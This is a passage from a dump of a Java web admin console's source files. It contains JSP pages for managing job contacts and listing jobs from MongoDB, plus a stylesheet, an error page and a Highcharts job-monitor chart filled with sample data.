name=\"qExecMethod\" placeholder=\"Exec Method\" value=\"<%=null!=qExecMethod?qExecMethod:\"\"%>\">\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<td colspan=\"8\">\r\n\t\t\t\t\t\t<center>\r\n\t\t\t\t\t\t\t<button class=\"btn btn-success\" type=\"submit\">查询</button>\r\n\t\t\t\t\t\t\t<button class=\"btn\" onclick=\"clearQuery()\">清空</button>\r\n                            <a class=\"btn btn-primary\" data-toggle=\"modal\" onclick=\"toAddContact()\" href=\"#\">\r\n                              新建</a>\r\n\t\t\t\t\t\t</center>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\t\t\t</form>\r\n\t\t\t</tbody>\r\n\t\t</table>\r\n\r\n\t\t<table class=\"table table-bordered table-striped\">\r\n\t\t\t<thead>\r\n\t\t\t<tr>\r\n\t\t\t\t<th style=\"width: 10%; text-align: center;\" nowrap>systemId</th>\r\n\t\t\t\t<th style=\"width: 10%; text-align: center;\" nowrap>ip</th>\r\n\t\t\t\t<th style=\"width: 10%; text-align: center;\" nowrap>jobKey</th>\r\n\t\t\t\t<th style=\"width: 20%; text-align: center;\" nowrap>contacter</th>\r\n\t\t\t\t<th style=\"width: 10%; text-align: center;\" nowrap>email</th>\r\n\t\t\t\t<th style=\"width: 10%; text-align: center;\" nowrap>mobile</th>\r\n\t\t\t\t<th style=\"width: 10%; text-align: center;\" nowrap>ts</th>\r\n\t\t\t\t<th style=\"width: 10%;text-align: center;\" nowrap>操作</th>\r\n\t\t\t</tr>\r\n\t\t\t</thead>\r\n\t\t\t<tbody>\r\n            <%\r\n                if(null!=dbCursor && dbCursor.size()>0){\r\n                    while (dbCursor.hasNext()) {\r\n                        DBObject tempDBObject = dbCursor.next();\r\n            %>\r\n            <tr>\r\n                <td style=\"text-align: center;\" nowrap>\r\n                    <%=tempDBObject.get(DBTableInfo.COL_SYSTEM_ID)%>\r\n                </td>\r\n                <td style=\"text-align: center;\" nowrap>\r\n                    <%=tempDBObject.get(DBTableInfo.COL_IP)%>\r\n                </td>\r\n\r\n                <td style=\"text-align: center;\" nowrap>\r\n                    <%=tempDBObject.get(DBTableInfo.COL_JOB_KEY)%>\r\n                </td>\r\n                <td style=\"text-align: center;\" nowrap>\r\n                    <%=tempDBObject.get(DBTableInfo.COL_CONTACTER)%>\r\n                </td>\r\n                <td style=\"text-align: center;\" nowrap>\r\n                    <%=tempDBObject.get(DBTableInfo.COL_EMAIL)%>\r\n                </td>\r\n                <td style=\"text-align: center;\" nowrap>\r\n                    <%=tempDBObject.get(DBTableInfo.COL_MOBILE)%>\r\n                </td>\r\n                <td style=\"text-align: center;\" nowrap>\r\n                    <%=tempDBObject.get(DBTableInfo.COL_TS)%>\r\n                </td>\r\n                <td style=\"text-align: center;\" nowrap>\r\n                    <a data-toggle=\"modal\" onclick=\"toUpdateContact('<%=tempDBObject.get(DBTableInfo.COL_ID).toString() %>')\" href=\"#\">\r\n                        <i class=\"icon-edit\"></i>修改</a>\r\n                    <a data-toggle=\"modal\" onclick=\"toDeleteContact('<%=tempDBObject.get(DBTableInfo.COL_ID).toString() %>')\" href=\"#\">\r\n                        <i class=\"icon-remove\"></i>删除</a>\r\n                    <a data-toggle=\"modal\" onclick=\"toDetailContact('<%=tempDBObject.get(DBTableInfo.COL_ID).toString() %>')\" href=\"#\">\r\n                        <i class=\"icon-eye-open\"></i>查看</a>\r\n                </td>\r\n            </tr>\r\n            <%\r\n                }\r\n            }else {\r\n            %>\r\n            <tr>\r\n                <td colspan=\"8\" style=\"text-align: center;\" nowrap>暂无相关记录</td>\r\n            </tr>\r\n            <%\r\n                }\r\n            %>\r\n\t\t\t</tbody>\r\n\t\t</table>\r\n\t</div>\r\n\r\n\t<!-- 新建弹出层开始 -->\r\n\t<div id=\"addDiv\" class=\"modal hide fade\">\r\n\t\t<div class=\"modal-header\">\r\n\t\t\t<a class=\"close\" data-dismiss=\"modal\" >&times;</a>\r\n\t\t\t<h3>联系人新建</h3>\r\n\t\t</div>\r\n\t\t<div class=\"modal-body\">\r\n\t\t\t<table class=\"table table-bordered table-hover\">\r\n\t\t\t\t<tbody>\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<th>System ID:</th>\r\n\t\t\t\t\t<td>\r\n\t\t\t\t\t\t<input class=\"form-inline span3\" type=\"text\" id=\"addSystemId\" name=\"addSystemId\"/>\r\n\t\t\t\t\t\t<font color=\"red\">*</font>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<th>IP:</th>\r\n\t\t\t\t\t<td>\r\n\t\t\t\t\t\t<input class=\"form-inline span3\" type=\"text\" id=\"addIp\"name=\"addIp\" />\r\n\t\t\t\t\t\t<font color=\"red\">*</font>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<th>Job Key:</th>\r\n\t\t\t\t\t<td>\r\n\t\t\t\t\t\t<input class=\"form-inline span3\" type=\"text\" id=\"addJobKey\"name=\"addJobKey\"/>\r\n\t\t\t\t\t\t<font color=\"red\">* 格式:jobGroup.jobName</font>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<th>contacter:</th>\r\n\t\t\t\t\t<td>\r\n\t\t\t\t\t\t<input class=\"form-inline span3\" type=\"text\" id=\"addContacter\" name=\"addContacter\"/>\r\n\t\t\t\t\t\t<font color=\"red\">*</font>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<th>email:</th>\r\n\t\t\t\t\t<td>\r\n\t\t\t\t\t\t<input class=\"form-inline span3\" type=\"text\" id=\"addEmail\"name=\"addEmail\" />\r\n\t\t\t\t\t\t<font color=\"red\">*</font>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<th>mobile:</th>\r\n\t\t\t\t\t<td>\r\n\t\t\t\t\t\t<input class=\"form-inline span3\" type=\"text\" id=\"addMobile\" name=\"addMobile\"/>\r\n\t\t\t\t\t\t<font color=\"red\">*</font>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<td colspan=\"2\">\r\n\t\t\t\t\t\t<center>\r\n\t\t\t\t\t\t\t<button class=\"btn btn-success\" onclick=\"addContact()\" >提交</button>\r\n\t\t\t\t\t\t\t<button class=\"btn\" data-dismiss=\"modal\">关闭</button>\r\n\t\t\t\t\t\t</center>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\t\t\t\t</tbody>\r\n\t\t\t</table>\r\n\t\t</div>\r\n\t</div>\r\n\t<!--  新建弹出层结束 -->\r\n\r\n\t<!-- 修改弹出层开始 -->\r\n\t<div id=\"updateDiv\" class=\"modal hide fade\">\r\n\t\t<div class=\"modal-header\">\r\n\t\t\t<a class=\"close\" data-dismiss=\"modal\" >&times;</a>\r\n\t\t\t<h3>联系人更新</h3>\r\n\t\t</div>\r\n\t\t<div class=\"modal-body\">\r\n\t\t\t<table class=\"table table-bordered table-hover\">\r\n\t\t\t\t<tbody>\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<th>System ID:</th>\r\n\t\t\t\t\t<td>\r\n\t\t\t\t\t\t<input  type=\"hidden\" id=\"updateId\" name=\"updateId\"/>\r\n\t\t\t\t\t\t<input class=\"form-inline span3\" type=\"text\" id=\"updateSystemId\" name=\"updateSystemId\"/>\r\n\t\t\t\t\t\t<font color=\"red\">*</font>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<th>IP:</th>\r\n\t\t\t\t\t<td>\r\n\t\t\t\t\t\t<input class=\"form-inline span3\" type=\"text\" id=\"updateIp\"name=\"updateIp\" />\r\n\t\t\t\t\t\t<font color=\"red\">*</font>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<th>Job Key:</th>\r\n\t\t\t\t\t<td>\r\n\t\t\t\t\t\t<input class=\"form-inline span3\" type=\"text\" id=\"updateJobKey\"name=\"updateJobKey\"/>\r\n\t\t\t\t\t\t<font color=\"red\">*<%--格式:jobGroup.jobName--%></font>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<th>contacter:</th>\r\n\t\t\t\t\t<td>\r\n\t\t\t\t\t\t<input class=\"form-inline span3\" type=\"text\" id=\"updateContacter\" name=\"updateContacter\"/>\r\n\t\t\t\t\t\t<font color=\"red\">*</font>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<th>email:</th>\r\n\t\t\t\t\t<td>\r\n\t\t\t\t\t\t<input class=\"form-inline span3\" type=\"text\" id=\"updateEmail\"name=\"updateEmail\" />\r\n\t\t\t\t\t\t<font color=\"red\">*</font>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<th>mobile:</th>\r\n\t\t\t\t\t<td>\r\n\t\t\t\t\t\t<input class=\"form-inline span3\" type=\"text\" id=\"updateMobile\" name=\"updateMobile\"/>\r\n\t\t\t\t\t\t<font color=\"red\">*</font>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<th>TS:</th>\r\n\t\t\t\t\t<td>\r\n\t\t\t\t\t\t<input class=\"form-inline span3\" type=\"text\" id=\"updateTs\"name=\"updateTs\" />\r\n\t\t\t\t\t\t<font color=\"red\">*</font>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<td colspan=\"2\">\r\n\t\t\t\t\t\t<center>\r\n\t\t\t\t\t\t\t<button class=\"btn btn-success\" onclick=\"updateContact()\" >提交</button>\r\n\t\t\t\t\t\t\t<button class=\"btn\" data-dismiss=\"modal\">关闭</button>\r\n\t\t\t\t\t\t</center>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\t\t\t\t</tbody>\r\n\t\t\t</table>\r\n\t\t</div>\r\n\t</div>\r\n\t<!-- 更新弹出层结束 -->\r\n\r\n\r\n\t<!-- 详情弹出层开始 -->\r\n\t<div id=\"detailDiv\" class=\"modal hide fade\">\r\n\t\t<div class=\"modal-header\">\r\n\t\t\t<a class=\"close\" data-dismiss=\"modal\" >&times;</a>\r\n\t\t\t<h3>联系人详细</h3>\r\n\t\t</div>\r\n\t\t<div class=\"modal-body\">\r\n\t\t\t<table class=\"table table-bordered table-hover\">\r\n\t\t\t\t<tbody>\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<th>System ID:</th>\r\n\t\t\t\t\t<td>\r\n\t\t\t\t\t\t<input class=\"form-inline span3\" type=\"text\" id=\"detailSystemId\" name=\"detailSystemId\"/>\r\n\t\t\t\t\t\t<font color=\"red\">*</font>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<th>IP:</th>\r\n\t\t\t\t\t<td>\r\n\t\t\t\t\t\t<input class=\"form-inline span3\" type=\"text\" id=\"detailIp\"name=\"detailIp\" />\r\n\t\t\t\t\t\t<font color=\"red\">*</font>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<th>Job Key:</th>\r\n\t\t\t\t\t<td>\r\n\t\t\t\t\t\t<input class=\"form-inline span3\" type=\"text\" id=\"detailJobKey\"name=\"detailJobKey\"/>\r\n\t\t\t\t\t\t<font color=\"red\">*</font>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<th>contacter:</th>\r\n\t\t\t\t\t<td>\r\n\t\t\t\t\t\t<input class=\"form-inline span3\" type=\"text\" id=\"detailContacter\" name=\"detailContacter\"/>\r\n\t\t\t\t\t\t<font color=\"red\">*</font>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<th>email:</th>\r\n\t\t\t\t\t<td>\r\n\t\t\t\t\t\t<input class=\"form-inline span3\" type=\"text\" id=\"detailEmail\"name=\"detailEmail\" />\r\n\t\t\t\t\t\t<font color=\"red\">*</font>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<th>mobile:</th>\r\n\t\t\t\t\t<td>\r\n\t\t\t\t\t\t<input class=\"form-inline span3\" type=\"text\" id=\"detailMobile\" name=\"detailMobile\"/>\r\n\t\t\t\t\t\t<font color=\"red\">*</font>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<th>TS:</th>\r\n\t\t\t\t\t<td>\r\n\t\t\t\t\t\t<input class=\"form-inline span3\" type=\"text\" id=\"detailTs\"name=\"detailTs\" />\r\n\t\t\t\t\t\t<font color=\"red\">*</font>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<td colspan=\"2\">\r\n\t\t\t\t\t\t<center>\r\n\t\t\t\t\t\t\t<button class=\"btn btn-success\" data-dismiss=\"modal\">关闭</button>\r\n\t\t\t\t\t\t</center>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\t\t\t\t</tbody>\r\n\t\t\t</table>\r\n\t\t</div>\r\n\t</div>\r\n\t<!-- 详情弹出层结束 -->\r\n\r\n    <!-- 删除弹出层开始 -->\r\n    <div id=\"deleteDiv\" class=\"modal hide fade\">\r\n        <div class=\"modal-header\">\r\n            <a class=\"close\" data-dismiss=\"modal\" >&times;</a>\r\n            <h3>联系人删除</h3>\r\n        </div>\r\n        <div class=\"modal-body\">\r\n            <p>您确定删除该联系人</p>\r\n        </div>\r\n        <div class=\"modal-footer\">\r\n            <center>\r\n                <button class=\"btn\" data-dismiss=\"modal\" aria-hidden=\"true\">关闭</button>\r\n                <button class=\"btn btn-success\" onclick=\"deleteContact()\">删除</button>\r\n            </center>\r\n        </div>\r\n    </div>\r\n    <!-- 删除弹出层结束 -->\r\n  </body>\r\n</html>\r\n\r\n\r\n\r\n<script type=\"text/javascript\">\r\n\r\n    function clearContact(optType){\r\n        $(\"#\"+optType+\"SystemId\").val(\"\");\r\n        $(\"#\"+optType+\"Ip\").val(\"\");\r\n        $(\"#\"+optType+\"JobKey\").val(\"\");\r\n        $(\"#\"+optType+\"Contacter\").val(\"\");\r\n        $(\"#\"+optType+\"Email\").val(\"\");\r\n        $(\"#\"+optType+\"Mobile\").val(\"\");\r\n        $(\"#\"+optType+\"Ts\").val(\"\");\r\n    }\r\n\r\n    /*格式校验 开始*/\r\n    function validateContact(optType){\r\n        var systemId = $.trim($(\"#\"+optType+\"SystemId\").val());\r\n        if(systemId == \"\" || 0== systemId.length){\r\n            alert(\"系统ID，请填写\");\r\n            return false;\r\n        }\r\n        var ip = $.trim( $(\"#\"+optType+\"Ip\").val());\r\n        if(ip == \"\" || 0== ip.length){\r\n            alert(\"IP，请填写\");\r\n            return false;\r\n        }\r\n        var jobKey = $.trim( $(\"#\"+optType+\"JobKey\").val());\r\n        if(jobKey == \"\" || 0== jobKey.length){\r\n            alert(\"Job Key，请填写\");\r\n            return false;\r\n        }\r\n        var contacter = $.trim( $(\"#\"+optType+\"Contacter\").val());\r\n        if(contacter == \"\" || 0== contacter.length){\r\n            alert(\"联系人，请填写\");\r\n            return false;\r\n        }\r\n        var email = $.trim( $(\"#\"+optType+\"Email\").val());\r\n        if(email == \"\" || 0== email.length){\r\n            alert(\"email，请填写\");\r\n            return false;\r\n        }\r\n        return true;\r\n    }\r\n    /*格式校验 结束*/\r\n\r\n\tfunction clearQuery() {\r\n\t\t$(\"#qSystemId\").val(\"\");\r\n\t\t$(\"#qJobKey\").val(\"\");\r\n\t\t$(\"#qIp\").val(\"\");\r\n\t\t$(\"#qExecMethod\").val(\"\");\r\n\t}\r\n\r\n\tfunction toAddContact(){\r\n        clearContact(\"add\");\r\n\t\t$(\"#addDiv\").modal({backdrop: 'static', keyboard: false});\r\n\t}\r\n\tfunction addContact(){\r\n        var optType = 'add';\r\n        if(validateContact(optType)){\r\n\t\t\t$.ajax({\r\n\t\t\t\ttype:\"POST\",\r\n\t\t\t\turl:\"servlet/cloverServletHandle.do?action=handleContactAdd&r=\"+Math.random(),\r\n\t\t\t\tdata:{\r\n\t\t\t\t\t\"systemId\":$.trim($(\"#\"+optType+\"SystemId\").val()),\r\n\t\t\t\t\t\"ip\":$.trim($(\"#\"+optType+\"Ip\").val()),\r\n\t\t\t\t\t\"jobKey\":$.trim($(\"#\"+optType+\"JobKey\").val()),\r\n\t\t\t\t\t\"contacter\":$.trim($(\"#\"+optType+\"Contacter\").val()),\r\n\t\t\t\t\t\"email\":$.trim($(\"#\"+optType+\"Email\").val()),\r\n\t\t\t\t\t\"mobile\":$.trim($(\"#\"+optType+\"Mobile\").val())\r\n\t\t\t\t},\r\n\t\t\t\tsuccess:function (data){\r\n\t\t\t\t\tif(1==data){\r\n\t\t\t\t\t\tclearContact('add');\r\n\t\t\t\t\t\twindow.location.reload();\r\n\t\t\t\t\t} else {\r\n\t\t\t\t\t\talert(\"系统出现异常，请联系管理员\");\r\n\t\t\t\t\t\treturn;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t});\r\n\t\t}\r\n\t}\r\n\r\n\tfunction toUpdateContact(_id){\r\n        var url=\"servlet/cloverServletHandle.do?action=handleContactDetail&id=\"+_id+\"&r=\"+Math.random();\r\n        $.get(url, null, function(data){\r\n            if(null==data ||data.length==0){\r\n                alert(\"系统出现异常，请联系管理员\");\r\n                return;\r\n            }\r\n            eval(\"var resultObj = \"+data);\r\n\r\n            $(\"#updateId\").val(_id);\r\n            $(\"#updateSystemId\").val(resultObj.systemId);\r\n            $(\"#updateIp\").val(resultObj.ip);\r\n            $(\"#updateJobKey\").val(resultObj.jobKey);\r\n            $(\"#updateContacter\").val(resultObj.contacter);\r\n            $(\"#updateEmail\").val(resultObj.email);\r\n            $(\"#updateMobile\").val(resultObj.mobile);\r\n            $(\"#updateTs\").val(resultObj.ts);\r\n            $(\"#updateDiv\").modal({backdrop: 'static', keyboard: false});\r\n        });\r\n\t}\r\n\tfunction updateContact(_id){\r\n        var optType = 'update';\r\n        if(validateContact(optType)){\r\n\t\t\t$.ajax({\r\n\t\t\t\ttype:\"POST\",\r\n\t\t\t\turl:\"servlet/cloverServletHandle.do?action=handleContactUpdate&r=\"+Math.random(),\r\n\t\t\t\tdata:{\r\n\t\t\t\t\t\"id\":$.trim($(\"#updateId\").val()),\r\n\t\t\t\t\t\"systemId\":$.trim($(\"#\"+optType+\"SystemId\").val()),\r\n\t\t\t\t\t\"ip\":$.trim($(\"#\"+optType+\"Ip\").val()),\r\n\t\t\t\t\t\"jobKey\":$.trim($(\"#\"+optType+\"JobKey\").val()),\r\n\t\t\t\t\t\"contacter\":$.trim($(\"#\"+optType+\"Contacter\").val()),\r\n\t\t\t\t\t\"email\":$.trim($(\"#\"+optType+\"Email\").val()),\r\n\t\t\t\t\t\"mobile\":$.trim($(\"#\"+optType+\"Mobile\").val())\r\n\t\t\t\t},\r\n\t\t\t\tsuccess:function (data){\r\n\t\t\t\t\tif(1==data){\r\n\t\t\t\t\t\tclearContact('update');\r\n\t\t\t\t\t\twindow.location.reload();\r\n\t\t\t\t\t} else {\r\n\t\t\t\t\t\talert(\"系统出现异常，请联系管理员\");\r\n\t\t\t\t\t\treturn;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t});\r\n\t\t}\r\n\t}\r\n\tfunction toDetailContact(_id){\r\n        var url=\"servlet/cloverServletHandle.do?action=handleContactDetail&id=\"+_id+\"&r=\"+Math.random();\r\n        $.get(url, null, function(data){\r\n            if(null==data ||data.length==0){\r\n                alert(\"系统出现异常，请联系管理员\");\r\n                return;\r\n            }\r\n            eval(\"var resultObj = \"+data);\r\n            $(\"#detailSystemId\").val(resultObj.systemId);\r\n            $(\"#detailIp\").val(resultObj.ip);\r\n            $(\"#detailJobKey\").val(resultObj.jobKey);\r\n            $(\"#detailContacter\").val(resultObj.contacter);\r\n            $(\"#detailEmail\").val(resultObj.email);\r\n            $(\"#detailMobile\").val(resultObj.mobile);\r\n            $(\"#detailTs\").val(resultObj.ts);\r\n            $(\"#detailDiv\").modal({backdrop: 'static', keyboard: false});\r\n        });\r\n\t}\r\n\r\n    function toDeleteContact(_id){\r\n        $(\"#updateId\").val(_id);\r\n        $(\"#deleteDiv\").modal({backdrop: 'static', keyboard: false});\r\n    }\r\n\r\n    function deleteContact(){\r\n        $.ajax({\r\n            type:\"POST\",\r\n            url:\"servlet/cloverServletHandle.do?action=handleContactDelete&r=\"+Math.random(),\r\n            data:{\r\n                \"id\":$.trim($(\"#updateId\").val())\r\n            },\r\n            success:function (data){\r\n                if(1==data){\r\n                    window.location.reload();\r\n                } else {\r\n                    alert(\"系统出现异常，请联系管理员\");\r\n                    return;\r\n                }\r\n            }\r\n        });\r\n    }\r\n\r\n</script>"
  },
  {
    "path": "clover/clover-admin/src/main/webapp/css/style.css",
    "content": "body {padding-top:60px; padding-bottom:40px;}\r\n.sidebar-nav {padding:9px 0;}\r\n\r\n\r\n/*pagin&&pagin-m*/\r\n.pagin a,.pagin span{float:left;height:20px;padding:3px 10px;border:1px solid #ccc;margin-left:2px;font-family:arial;line-height:20px;font-size:14px;overflow:hidden;-moz-border-radius:5px;-webkit-border-radius:5px;}\r\n.pagin .text,.pagin .current{border:none;padding:4px 11px;}\r\n.pagin a:link,.pagin a:visited{color:#005aa0;}\r\n.pagin a:hover,.pagin a:active{background:#005aa0;color:#fff;text-decoration:none;}\r\n.pagin .current,.pagin .current:link,.pagin .current:visited{color:#f60;font-weight:bold;}\r\n.pagin b{dispaly:block;position:absolute;top:9px;width:5px;height:9px;background-image:url(i/bg_hotsale.gif);background-repeat:no-repeat;overflow:hidden;}\r\n.pagin .prev,.pagin .next,.pagin .prev-disabled,.pagin .next-disabled{position:relative;padding-top:5px;height:18px;line-height:18px;}\r\n.pagin .prev-disabled,.pagin .next-disabled{color:#ccc;cursor:default;}\r\n.pagin .prev,.pagin .prev-disabled{padding-left:12px;}\r\n.pagin .prev b{left:3px;background-position:-68px -608px;}\r\n.pagin .prev-disabled b{left:3px;background-position:-80px -608px;}\r\n.pagin .next,.pagin .next-disabled{padding-right:12px;}\r\n.pagin .next b{right:3px;background-position:-62px -608px;}\r\n.pagin .next-disabled b{right:3px;background-position:-74px -608px;}\r\n.pagin-m a,.pagin-m span{height:14px;line-height:14px;font-size:12px;}\r\n.pagin-m b{top:5px;}\r\n.pagin-m .prev,.pagin-m .next,.pagin-m .prev-disabled,.pagin-m .next-disabled{padding-top:3px;height:14px;line-height:14px;*line-height:16px;}\r\n\r\n.float_div{ border:2px solid #3694e0; background:#fff; width:600px; height:400px;}\r\n.float_div h2{ background:url(i/float_divbg.gif); margin:1px; height:30px; line-height:30px; color:#fff; text-indent:10px;}\r\n.float_div span{ font-size:12px; width:50px; text-align:right; padding-right:10px; overflow:hidden; float:right; font-family:Arial, Helvetica, sans-serif;}\r\n.float_div span a{ color:#f0ff00;}\r\n\r\n/**/"
  },
  {
    "path": "clover/clover-admin/src/main/webapp/error.jsp",
    "content": "<%@ page language=\"java\" contentType=\"text/html; charset=UTF-8\"\r\n\tpageEncoding=\"UTF-8\"%>\r\n <!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\r\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\r\n\r\n<div class=\"m_404\">\r\n\t<div class=\"error\">\r\n        <h3>\r\n            <s:if test=\"exception\">\r\n               <s:property value=\"exception.printStackTrace()\"/>\r\n               <s:if test=\"exception.class.simpleName=='NoSuchMethodException'\">\r\n               \t\t<s:property value=\"response.setStatus(404)\"/>\r\n               \t\t 404! 您请求的内容不存在\r\n               </s:if>\r\n               <s:elseif test=\"exception.message\">\r\n               \t\t     出错了：  <s:property value=\"exception.message\"/>\r\n               </s:elseif>\r\n               <s:else>\r\n               \t出错了系统错误！\r\n               </s:else>\r\n            </s:if>\r\n        </h3>\r\n    </div>\r\n</div>"
  },
  {
    "path": "clover/clover-admin/src/main/webapp/index.jsp",
    "content": "<%@ page language=\"java\" contentType=\"text/html; charset=UTF-8\"\r\n\tpageEncoding=\"UTF-8\" %>\r\n<%\r\n    String path = request.getContextPath();\r\n    String basePath = request.getScheme()+\"://\"+request.getServerName()+\":\"+request.getServerPort()+path;\r\n%>\r\n<!DOCTYPE html>\r\n<html>\r\n <jsp:include page=\"/common/head.jsp\"/>\r\n <script src=\"<%=basePath%>/js/highcharts.js\"></script>\r\n <script src=\"<%=basePath%>/js/exporting.js\"></script>\r\n <script src=\"<%=basePath%>/js/Map.js\"></script>\r\n  <body>\r\n \t<jsp:include page=\"/common/nav.jsp\"/>\r\n    <div class=\"container-fluid\" >\r\n        <div id=\"container\" style=\"min-width:700px;height:400px\"></div>\r\n    </div>\r\n  </body>\r\n\r\n<script type=\"text/javascript\">\r\n    $(function () {\r\n        $('#container').highcharts({\r\n            title: {\r\n                text: 'Job Monitor',\r\n                x: -20 //center\r\n            },\r\n            subtitle: {\r\n                text: 'Source From:Clover',\r\n                x: -20\r\n            },\r\n            xAxis: {\r\n                categories: ['2014-11-24 16:13', '2014-11-24 16:14', '2014-11-24 16:15', '2014-11-24 16:16', '2014-11-24 16:17', '2014-11-24 16:18','2014-11-24 16:19', '2014-11-24 16:20', '2014-11-24 16:21', '2014-11-24 16:21', '2014-11-24 16:13', '2014-11-24 16:13']\r\n            },\r\n            yAxis: {\r\n                title: {\r\n                    text: 'QPS'\r\n                },\r\n                plotLines: [{\r\n                    value: 0,\r\n                    width: 1,\r\n                    color: '#808080'\r\n                }]\r\n            },\r\n            tooltip: {\r\n                valueSuffix: '次'\r\n            },\r\n            legend: {\r\n                layout: 'vertical',\r\n                align: 'right',\r\n                verticalAlign: 'middle',\r\n                borderWidth: 0\r\n            },\r\n            series: [{\r\n                name: 'Job1',\r\n                data: [70, 6, 9, 14, 18, 21, 25, 26, 23, 18, 13, 9]\r\n            }, {\r\n                name: 'Job2',\r\n                data: [2, 8, 5, 11, 17, 22, 24, 24, 20, 14, 60, 50]\r\n            }, {\r\n                name: 'Job3',\r\n                data: [90, 60, 30, 80, 13, 17, 18, 17, 14, 90, 30, 10]\r\n            }, {\r\n                name: 'Job4',\r\n                data: [3, 40, 50, 80, 11, 15, 17, 16, 14, 10, 60, 80]\r\n            }]\r\n        });\r\n    });\r\n\r\n</script>\r\n</html>\r\n"
  },
  {
    "path": "clover/clover-admin/src/main/webapp/jobList.jsp",
    "content": "<%@ page language=\"java\" contentType=\"text/html; charset=UTF-8\"\r\n\tpageEncoding=\"UTF-8\"%>\r\n<%@page import=\"com.gome.clover.common.mongodb.DBTableInfo\" %>\r\n<%@ page import=\"com.gome.clover.common.mongodb.MongoDBUtil\" %>\r\n<%@ page import=\"com.gome.clover.common.tools.CommonConstants\" %>\r\n<%@ page import=\"com.gome.clover.common.tools.DateUtil\" %>\r\n<%@ page import=\"com.gome.clover.common.tools.StringUtil\" %>\r\n<%@ page import=\"com.mongodb.BasicDBObject\" %>\r\n<%@ page import=\"com.mongodb.DBCursor\" %>\r\n<%@ page import=\"com.mongodb.DBObject\" %>\r\n<%@ page import=\"java.util.Date\" %>\r\n<%\r\n\tString path = request.getContextPath();\r\n\tString basePath = request.getScheme()+\"://\"+request.getServerName()+\":\"+request.getServerPort()+path;\r\n\tString qJobKey = request.getParameter(\"qJobKey\");\r\n\tString qJobType = request.getParameter(\"qJobType\");\r\n\tString qIp = request.getParameter(\"qIp\");\r\n\tString qStatus = request.getParameter(\"qStatus\");\r\n\tDBObject condition = new BasicDBObject();\r\n\tif (!StringUtil.isEmpty(qJobKey)) condition.put(DBTableInfo.COL_JOB_KEY, qJobKey);\r\n\tif (!StringUtil.isEmpty(qJobType)) condition.put(DBTableInfo.COL_JOB_TYPE, qJobType);\r\n\tif (!StringUtil.isEmpty(qIp)) condition.put(DBTableInfo.COL_IP, qIp);\r\n\tif (!StringUtil.isEmpty(qStatus)) condition.put(DBTableInfo.COL_STATUS, qStatus);\r\n\tDBCursor dbCursor =  MongoDBUtil.INSTANCE.findByCondition(condition,DBTableInfo.TBL_CLOVER_JOB);\r\n%>\r\n<!DOCTYPE html>\r\n<html>\r\n <jsp:include page=\"/common/head.jsp\"/>\r\n  <body>\r\n \t<jsp:include page=\"/common/nav.jsp\"/>\r\n    <div class=\"container-fluid\">\r\n\r\n\t\t<table class=\"table table-bordered\">\r\n\t\t\t<tbody>\r\n\t\t\t<form action=\"<%=basePath%>/jobList.jsp\" method=\"post\">\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<th>Job Key:</th>\r\n\t\t\t\t\t<td>\r\n\t\t\t\t\t\t<input  type=\"text\" id=\"qJobKey\"name=\"qJobKey\" placeholder=\"Job 